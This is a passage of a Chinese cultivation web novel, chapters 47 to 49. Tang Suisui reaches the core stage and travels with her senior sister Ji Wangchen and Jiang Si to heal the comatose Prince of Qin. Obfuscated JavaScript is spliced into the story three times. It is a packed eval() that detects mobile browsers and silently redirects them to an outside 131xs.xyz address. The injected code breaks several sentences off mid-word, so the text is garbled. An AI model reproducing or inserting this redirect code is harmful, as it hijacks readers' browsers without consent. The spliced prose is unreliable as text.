汤穗穗的视线从书本中抽离,转头望向放在剑匣里的长剑,暗自下定决心:即使现在她还不能做到,但有朝一日,她一定也可以将心法反噬的影响降低——至少能比现在更低一些。 她的未来还有很长。 一定会有办法的。 然而就在她做下决定的那一刻,汤穗穗感受到周围灵气的能量向她铺天盖地的袭来。她鬼使神差地闭上眼,盘腿运转心法,感受并消化那股汹涌的灵气。 她的身体就像干涸了数日的植株,贪婪地汲取着周围的灵气。她顺势地将这些灵气吸收到身体里,并汇聚在一起——在此之前,这一步她失败了已经无数次。 就当她以为今天也是以失败告终的时候,却发现体内停滞的气息在功法的运作下,慢慢汇聚城一颗指甲大小的青丹,静静沉积在她的丹田处。 汤穗穗不可置信地睁开眼睛,同时察觉到自己身体的变化:她的耳目更清明,全身感觉更轻盈,对力量的控制似乎更胜一层楼。她现在的感觉,只是就像疲惫的人一觉睡醒后,重新变得精神抖擞。 她茫然无措地眨了眨眼睛,这个变化冲击着头脑,使其一片空白。她低头审视自己的身体,却没有看出什么太大的变化。 原本以为境界的提升会更“隆重”些,没曾想,就发生在这么一个不起眼的时刻。 47.下山 比起筑基期那时兴奋到恨不得人尽皆知,如今晋升了结丹期的汤穗穗即使喜悦,也觉得肩上担着分量不小的责任。 她不再那么一无所知,也有自己想要前行的目标。 既然得到了新武器,汤穗穗也就换下了自己的宗门木剑,将它放到了房间里的杂物柜。在合上柜门之前,她望着目前这柄寻常的木剑,还是没忍住伸手轻抚平滑的剑身。 对于这柄陪伴了五年的木剑,汤穗穗的心中也有不少留恋的情绪。 然而怀念归怀念,她也清晰地认识到自己与曾经心态上发生了极大的变化。 她闭上眼做了个深呼吸,再睁开眼时,笑着将杂物柜的门合上,与这柄木剑在心中与其告别。 那柄奇特的长剑被她用口诀缩小系在腰边,这样既可以随时取用,也不会过于惹眼——这个口诀是师姐教给她的,就像对方腰间悬挂的环刃一样。 室外宗门的集训的钟声又一次响起。 “坏了!”汤穗穗用力一拍脑袋,急匆匆地关上门往宗门集训的位置跑去,生怕步伐慢一些导致迟到出糗。 其实强制参加宗门集训的只有结丹期以下宗门成员,但她觉得自己的水平还不匹配不了当前的境界,也就跟着集训,以此巩固当前的水平。 ……还有一个理由,她想找到唐澄澄,问清楚对方那天没听清的话究竟是什么。 但是她又别扭地想等对方主动开口,递一个台阶。 然而跟着宗门集训的这些天里,她一直没有看到唐澄澄的身影,也没有受到任何对方写的纸条——虽然对方也从来没写过。 今天也是如此。 挥着手中的长剑的汤穗穗站在最末尾分心想着,有些不服气地嘟起了嘴,她不想承认对方其实一点都不在乎自己的事实。 为了证明自己的想法,她的眼神扫向四周,试图从人群中找到那个瘦小的身影。不过她并没有看到对方,反而看到了姜祀和姚师舅站在一起,还在说些什么。 想到姜祀对师姐的关注,汤穗穗的脸不自觉地皱巴在一起。她灵光一身,收好剑挂上寻常的笑脸,佯装无事地蹦蹦跳跳,跑到姚师舅面前问好。 “你知道忘尘在哪里吗?”姚成将她的小心思看在眼里,只是笑着摇摇头,但并未戳破。 “师姐?”汤穗穗下意识看向他身旁的青年,不明所以地摇摇头,她并不清楚师姐的去向。 接受到她疑惑的眼神,姜祀随即拱手,彬彬有礼地开口:“在下有个不情之请,想要当面与姬忘尘姑娘商议。” “这样啊……”汤穗穗撇了撇嘴,没有再说别的话,自告奋勇去找了师姐。她用术法锁定对方的位置,发现对方的位置竟然在休息的房间。 她意外地睁大了眼睛,师姐寻常这个时间都会在藏经阁。 不过她不动声色地和两人挥挥手,跑了回去。推开房间门的时候,师姐正全神贯注地低头捣鼓着什么。 不过对方也听到了自己的动作,头也不抬:“怎么了?” 汤穗穗蹑手蹑脚地走到对方的身边,等走近却发现对方手上捏着一块品质很好的玉石,另一只手握着刻刀,好像在雕刻什么——看样子有些像师姐曾经给过她的那块玉牌。 她下意识将怀里的玉牌掏出来比对,果然两者十分相似。 汤穗穗握着手里这块温热的玉牌,脑海中想到师姐或许是给不知名人士刻的玉牌,心里忍不住吃味:“师姐你这是……又有小师妹了?” “你想要师妹了?”姬忘尘不明所以地望过去,又沿这对方的视线划到手里的半成品,失笑道,“你说这个?闲着没事做的。——来找我,是怎么了?” “你只能有我一个师妹。”汤穗穗抱着师姐的手小小地冷哼一声。不过她也没忘记此番来意,将姜祀的话语转述给姬忘尘时,观察着对方脸上的神情。 只可惜师姐脸上不形于色,只是冷静地点点头,表示了然:“稍等。” 汤穗穗乖乖地坐在一旁,看着师姐将手上的玉牌放到桌上的绢布,划开指尖,挤出指尖血后,闭着眼掐诀念咒。周围汇聚一股青色的灵气包裹着那滴指尖血,在眨眼间被师姐封存到玉牌中。她仍不住瞪大了眼睛,望着师姐的一举一动,自己怀里的那个不起眼的玉牌,也是通过这样的手段制作的吗? 片刻后,姬忘尘缓慢地睁开眼,将玉牌拿起,端详少许,平静地开口:“走吧。” “这就好了?”汤穗穗凑在师姐的身边,想要将对方手里的玉牌看得更仔细些。 姬忘尘也不隐藏,将手里的玉牌随手放在师妹的掌心:“走吧,边走边看。” 玉牌入手的实感带些冰凉,其上雕刻的花纹与汤穗穗那块别无二致,只是最中间雕刻了一个“姬”姓,而她自己身上那块是空白的纹路。她忽然想起来,很久以前娘亲家传的那块玉牌也是如此闻言,并在最中间雕刻“汤”姓。 汤穗穗将两者的区别讲给师姐听,将玉牌还给师姐。 “我当时给你的,是宗门统一制作的。”姬忘尘握紧手心的玉牌顿了顿,将其塞入怀里,隐去心中异样的情绪,“如果你也想给家人留一块,去找师长们,她们会告诉你该如何制作。” 这也正是当时她在汤穗穗比试时意外离开的缘故。 虽然她对于那人的情绪十分复杂,但回过神来时已将半成品的玉牌握在手中。 “所以师姐你是留给你的家人?”汤穗穗有些意外,她还从来没有听师姐提到过家里人。 却听到师姐立马反驳:“只是碰巧。” 汤穗穗丝毫没有怀疑,挠了挠头想到了姜祀的态度,旁敲侧击地开口:“师姐和那个叫姜祀的,有过交集?” 姜祀。 听到这个名字,姬忘尘下意识握紧了拳,但很快又松开。她垂眸遮挡眼睛里的情绪,沉默片刻,又很快回应:“……没有。” 这是实话,只是她单方面认识对方。 “可是那人分明很关注师姐——难道他图谋不轨?”汤穗穗的眼神一下子变得十分警惕,伸手摸到腰侧的小剑,在心里列出了好几个暗杀计划。 师妹的这番话让姬忘尘哭笑不得,伸手推了推对方的脑袋,不到对方的想法跑到哪里去了。不过她还是顺着师妹开口:“若是他胆敢生有这种贼心,定叫他有来无往。” 说话间,两人也走到了姚成的面前。 见到姬忘尘的时候,姜祀并没有汤穗穗料想的不轨行为,只是恭恭敬敬地对姬忘尘拱手,弯腰道:“或许听来有些许冒犯,在下有个不情之请。秦王已长睡不醒月余,众御医皆无计可施,不知姬忘尘姑娘可否下山一趟,驱除邪祟?” 山下百姓时常会被魔气困扰,又或是路遇地缚灵,这些都被百姓称为“邪魔鬼祟”,而乾坤宗也会经手这些事件。 例如洄山一行上报到宗门时,也只是有人提及“鬼祟出没”。 对于青年的真实来意,姬忘尘也能猜测几分。她用审视的眼神上下打量着面前的青年,似笑非笑地开口:“我?” 姜祀依旧保持着弯腰的动作,礼数齐全:“在下有幸围观了宗门大比的全程。姑娘您是本次的胜者,想来也是修为最为深奥之人,不知可否随在下走上一趟?” 姬忘尘并不吃这一套奉承的伎俩,她用锋利的眼神盯着面前的人,直白地反驳了回去:“我不觉得我是唯一选择。” 话说到了这个份上,姜祀也沉默了片刻,他必须说些什么请动面前的人——这也算是他此行的来意。 在一旁围观的姚成静静听着两人的交锋,而汤穗穗眼看两人之间的气氛僵化,眨了眨眼睛顺势插嘴道:“秦王……是谁啊?” 听到汤穗穗的发问,姜祀扬起笑容,面色如常地解释:“秦王是我的义母,才学俱佳,新帝上朝后将其封为异姓王。当年也是她解救了我免收歹人所害,与我有着格外亲厚的情谊,” 他想到了什么,笑着又望向姬忘尘:“说来也巧,我见姬忘尘姑娘十分面善。我的母王也姓姬,或许二位祖上有些渊源也说不准呢?” “呵,是吗?”姬忘尘不置可否,等待青年继续甩出下一个“诱饵”。 姜祀也不急,脸上挂着温和的微笑看着对方。汤穗穗站在几人中间,脑袋左摇右摆观察每个人脸上的神情,觉得自己就是最呆愣的那一个。 “你不会早就打着这个想法了吧?”虽然她还是没想明白,但隐隐约约能听懂对方确实就是奔着师姐来的意思。她皱着眉恼火地扯上师姐的衣袖,打算转身就走:“我就知道你是冲着师姐来的!师姐,别答应他!” 但站在她身边的姚成却伸手按下自己的手臂,清了清嗓子,以长辈的口吻:“忘尘,你的意思呢?” 一如既往,姚成给足了姬忘尘选择的权利。姬忘尘望着姚师舅温和的眼神,以往师傅不在的时候,他也是如此肩负起长辈的责任,耐心倾听对方的每一个选择。 她也毫不怀疑,当下自己给出拒绝的答案后,对方就会客客气气地将青年请下山。 正是因为选择权交到了自己的手里,她才久久不能决定。她想了很多以前的事情,又想到怀里那块制作好的玉牌,轻轻叹了口气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汤穗穗摇摇头,但她知道对方谨慎的性格,故意说道:“但你再不说我就要走了。” “先别走!”这句话吓得唐澄澄下意识伸手拉住了对方的衣袖,咬咬牙,将这几天闷在心里的话一股脑地开口:“你那天不是问我要做什么吗?” 与此同时,她将怀里的机关展示出来,比划着:“……我要做一个能够净化魔气的机械。” 听到这句话的汤穗穗眼睛一亮,将视线放在对方手里个头不大的零件,脸上露出惊喜:“这不是很好吗?!” 她知道对方肯定有什么大动作,但不知道对方的野心竟然如此了不起。没想到对方并不是坦然地接受了“反噬”的事实,甚至早就有了自己的谋划。 她忍不住转身想告诉师姐,甚至是更多的人,想要更多人知道唐澄澄的杰作。 但还没等她转身,就被对方一把拉住。 唐澄澄的脸上本就有方才运动导致的薄红,此刻脸上更红了,连声阻止:“别别别,这只是我的设想而已……” 唐澄澄低着头抓着对方的衣摆,心脏“砰砰”跳个不停,几乎掩盖自己要出口的话:“我那天……怕你觉得我异想天开。” 她知道自己的想法宛如天书奇谭,她怕听到对方嘲笑自己的声音,那天也没有再一次开口的勇气。 “那现在呢?” “我相信你。”唐澄澄咽了口水抬头,望向对方纯粹的眼睛,“我想了很多天,但如果是你的话,一定会理解,甚至支持我的。 “……对吧?” 听着对方有些不确定的尾音,汤穗穗用力地将对方抱在怀里,郑重地开口:“我相信你,无需怀疑。” “谢谢。”有了汤穗穗的这句话,唐澄澄的心中又多了不少信心。她越过汤穗穗想看想后面的人,姬忘尘师姐身旁站着一个素未谋面的陌生青年,不解地开口:“……你们这是?” “我们要下山一趟,”汤穗穗脸上的喜色怎么都压不下去,拍了拍对方的肩膀,“还好你来得及时。” “……那你能不能先别说出去?” “好。”汤穗穗点了点头,尊重好友的选择:“我会等你的好消息。” 得到了好友的支持,唐澄澄脸上的笑容也更加真切,她将零件抱在怀里,认认真真地点头:“我会的,你也要保重。” “那当然,我还等着验收你的成果呢!” 汤穗穗笑着用力地朝对方挥了挥手,跑回师姐的身边。 48.求助 告别了好友,汤穗穗步伐轻快,蹦蹦跳跳地扑倒姬忘尘的身上。她好想将这个喜悦的消息分享给师姐,但是她答应了坦白唐澄澄不会告诉任何人,只是仰着脸抱着师姐的手臂傻笑。 虽然不知道方才那两个小姑娘嘀嘀咕咕说了些什么,不过姬忘尘察觉到汤穗穗的心情明显比往常好上不少。她克制着自己的好奇心,无奈地伸手扶住对方,叮嘱对方小心看路。 连一旁的姜祀也忍不住开口打趣道:“看起来,穗穗姑娘的心情很好嘛。” 听到这句话,汤穗穗也回过神来,意识到身边还有另一个人的存在。她下意识地扶着师姐的手臂,站直了身体,尴尬地清清嗓子:“咳,没事,正事要紧。” 由于汤穗穗还不认识路,抱着师姐的手臂跟她下山。姬忘尘原本就不是什么健谈的性子,姜祀也没有主动开口说些惹人不喜的话题,只是安静地跟在两人身后。 想起对方对师姐的关注,汤穗穗主动落后了几步,和身旁的人并肩同行。姬忘尘见到师妹的这番行为,心中萌生几分讶异与疑虑,不过也没有开口干涉。 她相信汤穗穗是有主见有分寸的人,这么做一定会有她自己的用意。即使作为师姐,她也没有必要、也没有权利干涉对方的一举一动。 而姜祀这样的人又怎么看不出汤穗穗的用意,他压低声音主动开口:“穗穗姑娘是有什么疑问需要在下解答?” “说吧,你到底对打什么算盘?!”汤穗穗也跟着压低声音,毫不掩饰语气中的不善,“你要是敢对我的师姐不利,我可不想别人那样好说话。——我可小心眼了!” 说着,她握紧拳头亮在对方面前,企图以武力震慑面前这个狡猾的青年。 她以为是威慑力十足的动作,却没想到青年“噗嗤”一下笑了出声,看着她哭笑不得:“穗穗姑娘多虑了,在下对忘尘姑娘并无恶意。” “你到底上山来干什么?!”汤穗穗的眼神审视着青年,对方看向自己的眼神只带着温和的包容,如同寻常人家的哥哥,不会让人感觉不自在。 “抱歉,个中缘由请恕在下不能言讲,穗穗姑娘若是好奇,不妨回宗后再问问姚长老?”姜祀将问题推了回去。 “哦。”汤穗穗拉长了音,敷衍地回应。她记得对方的身份颇有来历,估计也是涉及到一些不方便细说的部分,她也没有追问。 至于对方对师姐的态度,她会用自己的眼睛去审视对方。 “若说真有私情,也只是我个人的奢望。”姜祀垂眸,脸上露出落寞的神情,长叹了一口气,“因为在下的缘故,母王与她的女儿分别,我一直想找到那人,并助力让她们母女重逢。” 哪怕当时希望渺茫,但姜祀也希望能给这位将自己抚养长大的前辈一个交代。 更何况,正当他以为是大海捞针的时候,恰巧遇上了姬忘尘。对方与那位长辈容貌上极为相似,这让他心中的猜测又打上几分。不过对方的态度倒是让他又怀疑起自己的猜测。 很合情合理的解释。 “所以你想找师姐帮忙?”看对方的脸色倒比之前都真诚了不少,不像说的是假话,汤穗穗抿着嘴,还是觉得有什么不对劲,“我们乾坤宗应该没有寻人的业务吧?” “毕竟考虑到忘尘姑娘境界超群,这样多一个人相助,就能多一份希望。”姜祀也不将话说全,留有一定遐想的空间。 走在最前面的姬忘尘将两人的对话充耳不闻,也听不懂姜祀口中的暗示,径直地施法打开山门的禁制,转过身对两人面无表情地开口:“走吧。” “多谢忘尘姑娘。”姜祀依旧是那副礼仪得体的模样。 比起对方客气的态度,汤穗穗一个飞扑抱住师姐的手臂,下意识地思考起方才姜祀说的话。 虽然觉得对方言之有理,可寻人这种事,若是真的掺和进去,只怕是白给自己揽了不必要的麻烦。说实在的,对方也不过只是一个萍水相逢的陌生人而已。 现在汤穗穗心中最重要的,还是想着修缮心法,而不是和山下扯上什么关系。 不过她的这些想法也只是按在心里,脸上仍是那副喜气洋洋的姿态,笑着跟二人在江望城中行走,饶有兴致地打量着周围热闹的烟火气息。 此时还未到午时,街市已经热闹非凡。 为表诚意,姜祀找了下属提前约定好了珍馐轩的包厢。等几人入包厢后,还不到一炷香的时间,提前预定好的菜品也已经上齐了。 望着面前色香味俱全的菜品,汤穗穗也忍不住食指大动。身旁的姬忘尘也被这些美食勾得心痒痒,不过她挑着眉望向姜祀,用目光代替言语询问对方的意图。 “毕竟在下有求于人,这些礼数更是不可或缺。”姜祀知道自己在场会让两人不适,随即主动提出暂离。 房间里没有了陌生人,汤穗穗也更不拘束,抓起筷子大快朵颐起来。吃到美味的食物时,她忍不住眯起眼睛,感受这份美味。姬忘尘看到汤穗穗毫不克制的动作,忍不住轻笑一声,也动起了筷子。 上一次吃珍馐轩还是姚成给秦无纪带来的那一次,虽然用了些术法锁住了菜品的味道,但还是比不过新鲜出炉的时候。 原本心中还藏着事的姬忘尘在色香味俱全的菜品面前,也将那些烦恼抛诸九霄云外。 等两人吃得差不多的时候,姜祀才重新回到了包厢。他趁离开的时间脱掉了厚实的衣服,换了一身更为轻便的衣装,笑着望向两人:“二位吃的可还好?菜品是否还合口味?” 如今时节虽到了七月末尾,但比起山上的温度还是高上不少。这点温度的变化对汤、姬二人并不影响,然而姜祀这个凡人就不同了,仍需要通过增减衣物来适应如今的温度。 吃饱喝足的汤穗穗点点头,不过望着对方一直没有坐下的动作,心中有些纳闷:“你不吃吗?” “我?”姜祀先是讶异,但很快笑着摇头,“这本身就是为二位点的。” 被汤穗穗这么一说,确实他觉得自己的肚子也在打鼓。不过他并没有准备自己的那份,只想着招待好两位贵客,吃完后便往王城赶去。 这个理由并不能说服汤穗穗,她重复道:“你不吃吗?” 两人原本就存了一份对方要吃的心思,默契地留下了几碟菜品,这几碟也是上次姚成去的、两人觉得味道不错的。 姜祀也看到桌上完全没有动过的菜品,原本他只以为是两人不爱吃,还在心中记下对方的口味——却完全没有想到这是留给自己的。在此刻他脸上经露出呆愣的神情,下意识往姬忘尘看去。 然而后者只是专心地刮着茶杯的抚摸,默许了汤穗穗的言语。 “我们时间很着急吗?”汤穗穗不清楚对方的计划,坦然地开口,反客为主,“倘若不是十万火急,为何不吃了再走呢?” 她想了想又补充道:“哦对了,你要是不爱吃,你还可以自己点些别的菜。珍馐轩出品,口味应当都不差。” 姜祀明白两人的好意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604492|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也没有再推脱,笑着坐下后开口:“多谢两位,那我就恭敬不如从命了。” 包厢很大,他刻意地坐得稍远些,和两人保持着一定的距离。说起来,他在外时一直听闻珍馐轩的美名,所以就算他还没有吃过,也还是选定了这里。 不过这里的菜品并未辜负它的盛名,即使因为放置的原因变凉了些许,也没有影响其中的风味。再加上姜祀原本就饿得不行,一开始还会有意识地控制自己的进食仪态,然而美食当前,他也顾不上那些有的没的。 对方坐下动筷之后,汤穗穗便趁此机会观察对方的饮食仪态。和对方周全的礼数相比,虽然他有所控制,但动筷时还是在下意识地狼吞虎咽,不经意间透露一股随意的姿态。 这般粗鲁的动作和进食的速度,全仰仗对方长了一副还不错的皮囊,看在眼里也尚有几分潇洒的姿态。 姜祀如风卷残云般将面前的菜品用完,并未耽误多少时间。用餐结束之后,一行人走到离得最近的城门口,那里已有两名身材魁梧的随从牵着几匹高头大马等在那里。虽然汤穗穗并不懂得如何分辨马匹的好坏,但她也能从它们的神态外貌看得出来,这几匹马精气神十足,身上肌肉匀称,应当都是难得的好马, 姜祀走过去接过马匹的缰绳,下意识地摸了摸马脸,眼神有些许怀念。但他还记得此行的目的,克制着心中的情绪,转身牵着马,走向站在一旁的两人。 看着那些人对他的恭敬姿态,汤穗穗才对姜祀的身份有了实感。她抓着师姐的衣袖,低声发问:“他的地位很高吗?” 没想到这句话反倒被姜祀听到了。 “仰仗于祖辈荫庇罢了,不足一提。”姜祀拉着黑马的缰绳走过来,笑着回应少女的疑问,“这一路上可能要委屈两位骑马随行了。” 不过由于汤穗穗还是没学会骑马,所以还是和姬忘尘两人共骑。 “两位,准备好了吗?”姜祀也随即翻身上马,回过头来。 姬忘尘拉着缰绳点了点头。 汤穗穗看着姜祀翻身上马的姿态很是熟练,几乎刻在了骨子里,与对方自述的“仰仗荫庇”相去甚远。 她看着对方上马之后眼神顷刻变得锐利,身形也笔直,浑身自带一股威严之感。在他望过来的视线里,恐怕他自己都没发现他神采飞扬的样子。 说实话,在汤穗穗看来,如今的这股模样比之前文绉绉更适合对方。 说定方向之后,几人一夹马肚,扬起马鞭往王城赶去。这几匹好马奔跑起来更是身姿轻盈,但脚力稳健,啼声嘹亮。 在颠簸中,汤穗穗紧紧地抓紧了身前的鬃毛,仰头望向师姐,声音被风吹得有些颤抖:“……师姐,王城还有多远?” “不算远,”姬忘尘的声音一如既往稳定,带给人安定的情绪,“约莫两个时辰吧。” 两个时辰?! 汤穗穗深深地吸了口气,面如菜色,眼神中颇有些绝望。师姐的语气是温和的,但师姐话语的内容又是残忍的。 通过几人一路快马加鞭地疾驰过后,几人终于在伴随着夕阳踏进了王城中。几人并没有就此停留,而是径直往秦王的府邸赶去。 离府邸还有一段距离时,眼尖的汤穗穗已经看到前方的府邸被浅浅的紫气所笼罩。她下意识扯了扯师姐的衣袖,用眼神示意前面的异样。 姬忘尘自然也看到了面前不同寻常的一幕,她将手盖在对方的手背上,表示自己了然,面上依旧默不作声。 49.闹鬼传闻 在几人入城的时候,早早在城墙上等待姜祀的随从眼尖地看到了她们的身影,连忙进入宅邸为院内通风报信。 因此,还没等几人的马匹靠近,一位青年女子快步跑到门口,惊喜的眼光望向来人。 她的视线在两张陌生的面孔犹豫片刻,最终锁定在更稳重的姬忘尘身上,“两位道长好!” 汤穗穗扶着师姐的手臂跳下大马,疑惑地看向面前的女子:“你认识我们?” 但她的疑问完全被急匆匆的姜祀盖住,完全忘了应有的礼数:“情况还好吗了?” 尽管一路上他有意控制脸上的神情,但在到家门口看到女子的那一刻,脑海一片空白,完全顾不上太多。 “还是一样,脉象浅薄却看不出症状,只能开补气的方子。”女子闻言摇头,眉目间担忧不散,又将视线放回姬忘尘身上,“二位道长应当就是为秦王的事情来的吧?” 姜祀听闻这个模棱两可的消息后,反倒轻轻呼了口气,幸好还不算是坏消息。 一旁的姬忘尘收回了视线,从两人的神态她也看出情况紧急,直截了当:“请带路吧。” “好的好的。”女子讶异对方的直接去,不过她只是眨眨眼,连忙点头,伸手将姬忘尘往内室引去。 不过在进门前,姬忘尘低声跟汤穗穗交代:“你暂时留在外面。” 汤穗穗也知道自己能力不足,乖巧地站在门口。一旁的姜祀正找随从交代些什么,她下意识打量面前的这栋宅院。 宅邸朱漆大门高逾三丈,门口的两头石狮栩栩如生。 还没等她看得仔细,就听到身后传来琐碎絮语:“听说秦王近来身体不适?……就说这状元府闹鬼,哪怕是住了快六年的秦王都无可奈何。” “是啊,连秦王这样的命格都压不住,更别说我们这些普通人了。” “只是可惜了秦王,那般顶天立地的女人,偏要落得这个下场。” 当她听得认真时,姜祀的声音扯回她的思绪:“……穗穗姑娘?” “在!”她眨眨眼凝神应答,连忙跟上对方的步伐:“我刚听到……这里有闹鬼传闻?” “街巷传言罢了。”类似的话语姜祀已经听过不少,无奈地摇摇头。想起汤穗穗的身份,反笑着说:“那依穗穗姑娘所见,此处可有鬼祟之物?” “你若是好奇,那你得找师姐。”汤穗穗还记得下山时对方的回答,以同样的措辞堵住了对方的口。 姜祀也知道自己越界,笑着打岔,将汤穗穗引进会客的厅堂。 虽然口中将姜祀的好奇堵了回去,但汤穗穗依旧对这里的紫气很上心。出没在市井的紫气,大概率会是被魔气感染而形成的地缚灵。 不过汤穗穗还不是很有信心,打算问过师姐的情况之后再做打算。她也知道现在的自己还不能添乱,跟着姜祀坐在大厅等候。 “方才那位是……”等坐下时,汤穗穗才猛然想起,她还不知道刚刚那位来去匆匆的女子名讳。 “抱歉,是我们过于着急。”姜祀也意识到礼节上的疏漏,带着歉意开口介绍刚才女子的身份,“方才领着忘尘姑娘的,正是令妹姜祯,与我相差五岁,应当也和穗穗姑娘稍大一些?” 姜祀摸不准对方的年纪,但从容貌上看,自己妹妹应当要比面前的少女大上一些。 汤穗穗了然地点点头,怪不得刚刚就觉得对方好像与姜祀有七八分相像。 她打量着周围的装潢,颇为讲究的样式,若是姚师舅在,应当能给她介绍些要点。 她猛然想起了邓娇一行人,眼睛一亮望向姜祀:“你一直在山下对吧!那你知道立石村吗?” “立石村?”姜祀也是头一回听到这个名字,努力回想后依旧毫无印象,只能茫然地摇摇头,“抱歉,在下从未听闻过这个名字。……是穗穗姑娘的家乡吗?” 姜祀的回复让汤穗穗感觉自己顷刻跌入谷底,砸得头脑发昏,眼神也不自觉变得落寞。但她还是强打起精神,摇头解释道:“不是,但……对我来说很重要。” 在两人闲聊的时候,被姜祯带到内院的姬忘尘进入了秦王的卧室。 最惹眼的是放在最当中的漆木屏风,视线穿过当中的缝隙,径直地靠近躺在床上的女人。 “您辛苦了。” 姬忘尘眨眨眼回了神,瞥见姜祯的动作,才注意到原本坐在屏风前的一位上了年纪的医者。 见到两人的到来,她连忙起身行礼,医者紧皱的眉宇还未放松,桌上还摊开看了一半的医书。 姜祯没有介绍接纳姬忘尘的身份,只是朝后者点点头,客气地将医者拉到卧室外,将空间留给姬忘尘。 出于对乾坤宗这个名声的信任,姜祯并不怀疑姬忘尘的品性。 按下内心复杂的情绪,姬忘尘缓步绕到屏风后,这才将床上女人全貌看完。 她比起当年苍老了许多,唇色苍白,整个人看起来十分虚弱。也正因如此,削弱了她一贯的攻击性,此时就和寻常的中年妇人差不多。 比起印象中的样子,或许是这些年奔波劳累的关系,整个人都憔悴了不少。 但现在还不是忆往昔的时候,姬忘尘很快就收拾好心情,从怀里掏出之前做好的玉牌,快速塞在对方的枕下。 姜祯回来时,只看到姬忘尘坐在床边伸手探向床上女人的脉搏,她没有干扰对方,坐在屏风前的桌椅,给两人倒了杯水。 她不是不知道坊间关于此处“闹鬼”的传言,不管是传言真假,她只希望秦王能够好起来。 姬忘尘闭目运气,二指并拢贴在女人的手腕处,以灵气转过女人周身。女人体内确实淤积了不少魔气,似乎已经蓄积了许久,只不过直到现在才影响到她。 她下意识打量这个房间,却没有感受到意料中的魔气。 或许根源并非出在卧室,而是宅邸的其它地方。 对女人的状况有了一定了解,姬忘尘将对方的手小心点放进被褥,起身往屏风外走去。 等在外面的姜祯听到对方的脚步声,连忙起身将刚才的温水端给对方,急切地发问:“道长,情况怎么样?” 姬忘尘接过茶杯,抿了一口。温热的水流滋润她的喉舌,也抚平她心间莫名的躁郁。她请了清嗓子,斟酌片刻,给出中肯的回答:“省去不能说的部分,她没事。” 姜祯也知道规矩,当她听到床上的女人没事时,悬在心口的巨石已经落下了一半。但她还是忍不住追问道:“那道长,是还需要准备些什么吗?” 姬忘尘意外对方的敏锐,点点头。 “如果需要的,还请直言。”姜祯纵使心中有再多的焦急,也将节奏留在对方手里,礼貌地开口,“天色已晚,不如道长随我一道吃些家常的。” 虽然此举并未花费太多时间,但等她们走出卧室时,天色已变得昏暗。 得到对方的应允后,她连忙叫来一旁看护的仆从交代一番。姬忘尘站在门口,忍不住侧身回望,看向床上的女人。 她想过很多次再遇的情况,却没想到会是如今这般。脑海中想到些什么,她猛地转开视线,眨着眼调整呼吸,让自己的情绪波动不那么明显。 面前的姜祯也说完了简单的交代,笑着将她带到用餐的厅堂。 在姬忘尘迈步进厅堂时,汤穗穗已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610132|169112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 经坐在当中,正和姜祀说些什么。 当她看到师姐后,眼睛一亮,连忙站起来快步走过去,拉着师姐的手臂,让她坐在自己的身边。 见到汤穗穗时,姬忘尘郁结于心的情绪又散去了些许,也扯起笑容回应对方。 姜祯原本跟在姬忘尘的后面,在进门前直接转身安排随从上菜。 与此同时,姜祀想要维持应有的礼节,客套地站起来作揖行礼:“母王的情况就有劳二位了……” 倘若是寻常时候,姬忘尘并不在乎这些。但此刻她压不住心头的躁郁,皱着眉不悦地打断对方:“你满脑子就只有这些废话了吗?” 姜祯进门正好听到这一句,内心暗叫不好连忙上前打圆场:“姬道长别生气,我哥这个人就这样,总是习惯将礼数备齐,倒是忘了道长们并非在乎这些虚礼的人。” 她一边说着,一边用眼色示意姜祀也说些什么。姜祀被姬忘尘直白的话语回怼,脸色涨得通红,连连道歉。 而完全局外人的汤穗穗也是第一次见到这么直白的师姐,下意识看向对方。虽然面上还维持着寻常,但她直觉认为对方的此刻心情特别不好。 她当机立断,上手抱住师姐的手臂:“师姐师姐,既然你不喜欢这里,那要不我们出去吧?” 即使天色已经不早了,但街市上也一定能找到吃的。 原本姬忘尘在话出口时,就已经懊悔自己的口不择言,这下听到了汤穗穗的建议更是下意识拒绝。她虽然憋着无名气,但又不想表现得那么清除,以免显得自己太小肚鸡肠。 姜祯见状连忙说些什么话缓和气氛,给姬忘尘抛出台阶。 “我没事。”姬忘尘撇开目光深呼吸,将情绪下压,顺着她们的台阶将方才的事带过。 桌上菜品备齐的时候,正好有人来找姜祀,他也就顺势离开。姬忘尘的视线一直追随对方,直到对方彻底离开视野的范围。 随着姜祀的离开的动作,厅堂内停滞的空气也开始流动了。 “两二位道长,既然我哥有事要去处理,那这顿饭就由我来作陪吧。”姜祯笑着开口,眉眼弯弯很亲切,开口招呼,“这些都是家常菜,还请二位将就将就。” “不会。”姜祀一走,姬忘尘也恢复了原来的态度,她不会无缘无故为难别人。 如果说姜祀是刻意地察言观色,容易把握不好分寸;那姜祯便完全与他相反,言行就更自在随心。 再加上汤穗穗这个对什么都好奇的性格,两人很快聊到了一起。 